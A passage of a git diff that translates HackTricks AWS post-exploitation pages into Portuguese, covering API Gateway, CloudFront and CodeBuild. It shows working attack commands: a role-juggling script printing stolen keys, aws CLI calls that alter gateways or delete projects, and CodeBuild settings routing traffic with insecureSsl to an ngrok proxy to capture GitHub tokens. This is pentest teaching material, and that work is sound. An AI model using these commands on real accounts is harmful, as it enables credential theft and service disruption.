"Secret Access Key: $($nextCredentials.SecretAccessKey)" - Write-Host "Session Token: $($nextCredentials.SessionToken)" - Write-Host "Expiration: $($nextCredentials.Expiration)" - } - } catch { - $errorCount++ - } - } - } +# Try to assume another role using the temporary credentials +foreach ($nextRole in $roles) { +if ($nextRole.Arn -ne $role.Arn) { +$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) +try { +$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($nextCredentials) { +Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" +Write-Host "Access Key: $($nextCredentials.AccessKeyId)" +Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" +Write-Host "Session Token: $($nextCredentials.SessionToken)" +Write-Host "Expiration: $($nextCredentials.Expiration)" +} +} catch { +$errorCount++ +} +} +} - # Reset environment variables - Remove-Item Env:\AWS_ACCESS_KEY_ID - Remove-Item Env:\AWS_SECRET_ACCESS_KEY - Remove-Item Env:\AWS_SESSION_TOKEN - } else { - $errorCount++ - } - } catch { - $errorCount++ - } +# Reset environment variables +Remove-Item Env:\AWS_ACCESS_KEY_ID +Remove-Item Env:\AWS_SECRET_ACCESS_KEY +Remove-Item Env:\AWS_SESSION_TOKEN +} else { +$errorCount++ +} +} catch { +$errorCount++ +} } # Output the number of errors if any if ($errorCount -gt 0) { - Write-Host "$errorCount error(s) occurred during role assumption attempts." +Write-Host "$errorCount error(s) occurred during role assumption attempts." } else { - Write-Host "No errors occurred. All roles checked successfully." +Write-Host "No errors occurred. All roles checked successfully." } Write-Host "Role juggling check complete." ``` -
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md index 53f79d916..4bf215041 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md @@ -1,6 +1 @@ -# AWS - Post Exploitation - - - - - +# AWS - Pós Exploração diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index 4847c40e0..a90077ddc 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -1,51 +1,46 @@ -# AWS - API Gateway Post Exploitation +# AWS - API Gateway Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## API Gateway -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Access unexposed APIs +### Acessar APIs não expostas -You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\ -Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before. +Você pode criar um endpoint em [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) com o serviço `com.amazonaws.us-east-1.execute-api`, expor o endpoint em uma rede onde você tenha acesso (potencialmente via uma máquina EC2) e atribuir um grupo de segurança permitindo todas as conexões.\ +Então, a partir da máquina EC2, você poderá acessar o endpoint e, portanto, chamar a API do gateway que não estava exposta anteriormente. -### Bypass Request body passthrough +### Bypass do passthrough do corpo da requisição -This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). +Esta técnica foi encontrada em [**este writeup de CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). -As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation. - -Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`: +Conforme indicado na [**documentação da AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) na seção `PassthroughBehavior`, por padrão, o valor **`WHEN_NO_MATCH`**, ao verificar o cabeçalho **Content-Type** da requisição, passará a requisição para o back end sem transformação. +Portanto, no CTF, o API Gateway tinha um template de integração que estava **impedindo a exfiltração da flag** em uma resposta quando uma requisição era enviada com `Content-Type: application/json`: ```yaml RequestTemplates: - application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' +application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` +No entanto, enviar uma solicitação com **`Content-type: text/json`** impediria esse filtro. -However, sending a request with **`Content-type: text/json`** would prevent that filter. - -Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`: - +Finalmente, como o API Gateway estava permitindo apenas `Get` e `Options`, era possível enviar uma consulta arbitrária do dynamoDB sem nenhum limite, enviando uma solicitação POST com a consulta no corpo e usando o cabeçalho `X-HTTP-Method-Override: GET`: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` - ### Usage Plans DoS -In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**. +Na seção **Enumeration**, você pode ver como **obter o plano de uso** das chaves. Se você tiver a chave e ela estiver **limitada** a X usos **por mês**, você poderia **apenas usá-la e causar um DoS**. -The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**. +A **API Key** só precisa ser **incluída** dentro de um **HTTP header** chamado **`x-api-key`**. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - +Um atacante com as permissões `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` pode **modificar uma Gateway Response existente para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executem scripts maliciosos**. ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**Impacto Potencial**: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API. > [!NOTE] -> Need testing +> Necessita de teste ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**. - +Um atacante com as permissões `apigateway:UpdateStage` e `apigateway:CreateDeployment` pode **modificar um estágio existente do API Gateway para redirecionar o tráfego para um estágio diferente ou alterar as configurações de cache para obter acesso não autorizado a dados em cache**. ```bash API_ID="your-api-id" STAGE_NAME="Prod" @@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic. +**Impacto Potencial**: Acesso não autorizado a dados em cache, interrompendo ou interceptando o tráfego da API. > [!NOTE] -> Need testing +> Necessita de teste ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - +Um atacante com as permissões `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` pode **modificar a resposta do método de um método de API Gateway REST API existente para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executam scripts maliciosos**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**Impacto Potencial**: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API. > [!NOTE] -> Need testing +> Necessita de teste ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**. - +Um atacante com as permissões `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` pode **modificar as configurações da API Gateway REST API para desativar o registro ou alterar a versão mínima do TLS, potencialmente enfraquecendo a segurança da API**. ```bash API_ID="your-api-id" @@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information. +**Impacto Potencial**: Enfraquecendo a segurança da API, permitindo potencialmente acesso não autorizado ou expondo informações sensíveis. > [!NOTE] -> Need testing +> Necessita de teste ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**. - +Um atacante com permissões `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` e `apigateway:CreateUsagePlanKey` pode **criar novas chaves de API, associá-las a planos de uso e, em seguida, usar essas chaves para acesso não autorizado às APIs**. ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') @@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp # Associate the API key with the usage plan aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY ``` +**Impacto Potencial**: Acesso não autorizado a recursos da API, contornando controles de segurança. -**Potential Impact**: Unauthorized access to API resources, bypassing security controls. - -> [!NOTE] -> Need testing +> [!NOTA] +> Necessita de teste {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index 4a3c4ff21..cbeb04664 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -1,35 +1,31 @@ -# AWS - CloudFront Post Exploitation +# AWS - CloudFront Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## CloudFront -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-cloudfront-enum.md {{#endref}} -### Man-in-the-Middle +### Homem-no-Meio -This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script). +Este [**post de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propõe alguns cenários diferentes onde uma **Lambda** poderia ser adicionada (ou modificada se já estiver sendo usada) em uma **comunicação através do CloudFront** com o propósito de **roubar** informações do usuário (como o **cookie** da sessão) e **modificar** a **resposta** (injetando um script JS malicioso). -#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket +#### cenário 1: MitM onde o CloudFront está configurado para acessar algum HTML de um bucket -- **Create** the malicious **function**. -- **Associate** it with the CloudFront distribution. -- Set the **event type to "Viewer Response"**. +- **Criar** a **função** maliciosa. +- **Associá-la** à distribuição do CloudFront. +- Definir o **tipo de evento como "Resposta do Visualizador"**. -Accessing the response you could steal the users cookie and inject a malicious JS. +Acessando a resposta, você poderia roubar o cookie dos usuários e injetar um JS malicioso. -#### scenario 2: MitM where CloudFront is already using a lambda function +#### cenário 2: MitM onde o CloudFront já está usando uma função lambda -- **Modify the code** of the lambda function to steal sensitive information +- **Modificar o código** da função lambda para roubar informações sensíveis -You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +Você pode verificar o [**código tf para recriar esses cenários aqui**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 54be4e299..3de54908c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -1,88 +1,76 @@ -# AWS - CodeBuild Post Exploitation +# AWS - CodeBuild Pós Exploração {{#include ../../../../banners/hacktricks-training.md}} ## CodeBuild -For more information, check: +Para mais informações, consulte: {{#ref}} ../../aws-services/aws-codebuild-enum.md {{#endref}} -### Check Secrets +### Verificar Segredos -If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\ -Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform. +Se credenciais foram configuradas no Codebuild para se conectar ao Github, Gitlab ou Bitbucket na forma de tokens pessoais, senhas ou tokens de acesso OAuth, essas **credenciais serão armazenadas como segredos no gerenciador de segredos**.\ +Portanto, se você tiver acesso para ler o gerenciador de segredos, poderá obter esses segredos e pivotar para a plataforma conectada. {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Abuse CodeBuild Repo Access +### Abusar do Acesso ao Repositório do CodeBuild -In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code: +Para configurar o **CodeBuild**, ele precisará de **acesso ao repositório de código** que irá utilizar. Várias plataformas podem estar hospedando esse código:
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**. +O **projeto CodeBuild deve ter acesso** ao provedor de origem configurado, seja via **papel IAM** ou com um **token do github/bitbucket ou acesso OAuth**. -An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\ -In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you): +Um atacante com **permissões elevadas em um CodeBuild** poderia abusar desse acesso configurado para vazar o código do repositório configurado e outros onde as credenciais definidas têm acesso.\ +Para fazer isso, um atacante precisaria apenas **mudar a URL do repositório para cada repositório ao qual as credenciais configuradas têm acesso** (note que a web da aws listará todos eles para você):
-And **change the Buildspec commands to exfiltrate each repo**. +E **mudar os comandos do Buildspec para exfiltrar cada repositório**. > [!WARNING] -> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\ -> Or does he? Check the next section +> No entanto, essa **tarefa é repetitiva e tediosa** e se um token do github foi configurado com **permissões de escrita**, um atacante **não poderá (ab)usar essas permissões** pois não tem acesso ao token.\ +> Ou tem? Verifique a próxima seção -### Leaking Access Tokens from AWS CodeBuild - -You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with: +### Vazando Tokens de Acesso do AWS CodeBuild +Você pode vazar o acesso dado no CodeBuild para plataformas como Github. Verifique se algum acesso a plataformas externas foi concedido com: ```bash aws codebuild list-source-credentials ``` - {{#ref}} aws-codebuild-token-leakage.md {{#endref}} ### `codebuild:DeleteProject` -An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project. - +Um atacante poderia deletar um projeto inteiro do CodeBuild, causando a perda da configuração do projeto e impactando as aplicações que dependem do projeto. ```bash aws codebuild delete-project --name ``` +**Impacto Potencial**: Perda da configuração do projeto e interrupção do serviço para aplicativos que utilizam o projeto excluído. -**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project. - -### `codebuild:TagResource` , `codebuild:UntagResource` - -An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. +### `codebuild:TagResource`, `codebuild:UntagResource` +Um atacante poderia adicionar, modificar ou remover tags dos recursos do CodeBuild, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Impacto Potencial**: Interrupção da alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags. ### `codebuild:DeleteSourceCredentials` -An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository. - +Um atacante poderia deletar credenciais de origem para um repositório Git, impactando o funcionamento normal de aplicações que dependem do repositório. ```sql aws codebuild delete-source-credentials --arn ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials. +**Impacto Potencial**: Interrupção do funcionamento normal para aplicações que dependem do repositório afetado devido à remoção de credenciais de origem. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index c514d7a7c..b4db143dc 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,73 +2,68 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Recover Github/Bitbucket Configured Tokens - -First, check if there are any source credentials configured that you could leak: +## Recuperar Tokens Configurados do Github/Bitbucket +Primeiro, verifique se há credenciais de origem configuradas que você poderia vazar: ```bash aws codebuild list-source-credentials ``` - ### Via Docker Image -If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project. +Se você descobrir que a autenticação para, por exemplo, Github está configurada na conta, você pode **exfiltrar** esse **acesso** (**token GH ou token OAuth**) fazendo com que o Codebuild **use uma imagem docker específica** para executar a construção do projeto. -For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**. +Para isso, você poderia **criar um novo projeto Codebuild** ou alterar o **ambiente** de um existente para definir a **imagem Docker**. -The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**. +A imagem Docker que você poderia usar é [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta é uma imagem Docker muito básica que irá definir as **variáveis de ambiente `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Isso permitirá que você intercepte a maior parte do tráfego do host indicado em **`https_proxy`** e **`http_proxy`** e confie no CERT SSL indicado em **`SSL_CERT_FILE`**. -1. **Create & Upload your own Docker MitM image** - - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**. - - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint. - - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host - - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...) -2. **Set the environment** - - Create a **new Codebuild project** or **modify** the environment of an existing one. - - Set the project to use the **previously generated Docker image** +1. **Crie e faça upload da sua própria imagem Docker MitM** +- Siga as instruções do repositório para definir o endereço IP do seu proxy e configurar seu certificado SSL e **construa a imagem docker**. +- **NÃO DEFINA `http_proxy`** para não interceptar solicitações ao endpoint de metadados. +- Você poderia usar **`ngrok`** como `ngrok tcp 4444` para definir o proxy para o seu host. +- Uma vez que você tenha a imagem Docker construída, **faça upload para um repositório público** (Dockerhub, ECR...) +2. **Defina o ambiente** +- Crie um **novo projeto Codebuild** ou **modifique** o ambiente de um existente. +- Defina o projeto para usar a **imagem Docker gerada anteriormente**.
-3. **Set the MitM proxy in your host** - -- As indicated in the **Github repo** you could use something like: +3. **Defina o proxy MitM no seu host** +- Como indicado no **repositório do Github**, você poderia usar algo como: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` - > [!TIP] -> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work. +> A **versão do mitmproxy utilizada foi 9.0.1**, foi relatado que com a versão 10 isso pode não funcionar. -4. **Run the build & capture the credentials** +4. **Execute a construção e capture as credenciais** -- You can see the token in the **Authorization** header: +- Você pode ver o token no cabeçalho **Authorization**: -
- -This could also be done from the aws cli with something like +
+Isso também pode ser feito a partir do aws cli com algo como ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json ## With /tmp/buildspec.json { - "name": "my-demo-project", - "source": { - "type": "GITHUB", - "location": "https://github.com/uname/repo", - "buildspec": "buildspec.yml" - }, - "artifacts": { - "type": "NO_ARTIFACTS" - }, - "environment": { - "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM - "image": "docker.io/carlospolop/docker-mitm:v12", - "computeType": "BUILD_GENERAL1_SMALL", - "imagePullCredentialsType": "CODEBUILD" - } +"name": "my-demo-project", +"source": { +"type": "GITHUB", +"location": "https://github.com/uname/repo", +"buildspec": "buildspec.yml" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM +"image": "docker.io/carlospolop/docker-mitm:v12", +"computeType": "BUILD_GENERAL1_SMALL", +"imagePullCredentialsType": "CODEBUILD" +} } ## Json @@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` - ### Via insecureSSL -**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\ -Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform. - -- First you need to enumerate the current configuration with something like: +**Codebuild** projects têm uma configuração chamada **`insecureSsl`** que está oculta na web e você só pode alterá-la pela API.\ +Ativar isso permite que o Codebuild se conecte ao repositório **sem verificar o certificado** oferecido pela plataforma. +- Primeiro, você precisa enumerar a configuração atual com algo como: ```bash aws codebuild batch-get-projects --name ``` - -- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration). - - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like: - +- Em seguida, com as informações coletadas, você pode atualizar a configuração do projeto **`insecureSsl`** para **`True`**. O seguinte é um exemplo da minha atualização de um projeto, note o **`insecureSsl=True`** no final (esta é a única coisa que você precisa mudar na configuração coletada). +- Além disso, adicione também as variáveis de ambiente **http_proxy** e **https_proxy** apontando para o seu tcp ngrok como: ```bash aws codebuild update-project --name \ - --source '{ - "type": "GITHUB", - "location": "https://github.com/carlospolop/404checker", - "gitCloneDepth": 1, - "gitSubmodulesConfig": { - "fetchSubmodules": false - }, - "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", - "auth": { - "type": "CODECONNECTIONS", - "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" - }, - "reportBuildStatus": false, - "insecureSsl": true - }' \ - --environment '{ - "type": "LINUX_CONTAINER", - "image": "aws/codebuild/standard:5.0", - "computeType": "BUILD_GENERAL1_SMALL", - "environmentVariables": [ - { - "name": "http_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - }, - { - "name": "https_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - } - ] - }' +--source '{ +"type": "GITHUB", +"location": "https://github.com/carlospolop/404checker", +"gitCloneDepth": 1, +"gitSubmodulesConfig": { +"fetchSubmodules": false +}, +"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", +"auth": { +"type": "CODECONNECTIONS", +"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" +}, +"reportBuildStatus": false, +"insecureSsl": true +}' \ +--environment '{ +"type": "LINUX_CONTAINER", +"image": "aws/codebuild/standard:5.0", +"computeType": "BUILD_GENERAL1_SMALL", +"environmentVariables": [ +{ +"name": "http_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +}, +{ +"name": "https_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +} +] +}' ``` - -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- Em seguida, execute o exemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porta indicada pelas variáveis de proxy (http_proxy e https_proxy) ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="127.0.0.1", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="127.0.0.1", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- Finalmente, clique em **Build the project**, as **credenciais** serão **enviadas em texto claro** (base64) para a porta mitm:
-### ~~Via HTTP protocol~~ +### ~~Via protocolo HTTP~~ -> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)** +> [!TIP] > **Essa vulnerabilidade foi corrigida pela AWS em algum momento da semana do dia 20 de fevereiro de 2023 (acho que na sexta-feira). Portanto, um atacante não pode mais abusar disso :)** -An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**. +Um atacante com **permissões elevadas em um CodeBuild poderia vazar o token do Github/Bitbucket** configurado ou, se as permissões foram configuradas via OAuth, o **token OAuth temporário usado para acessar o código**. -- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`). +- Um atacante poderia adicionar as variáveis de ambiente **http_proxy** e **https_proxy** ao projeto CodeBuild apontando para sua máquina (por exemplo, `http://5.tcp.eu.ngrok.io:14972`).
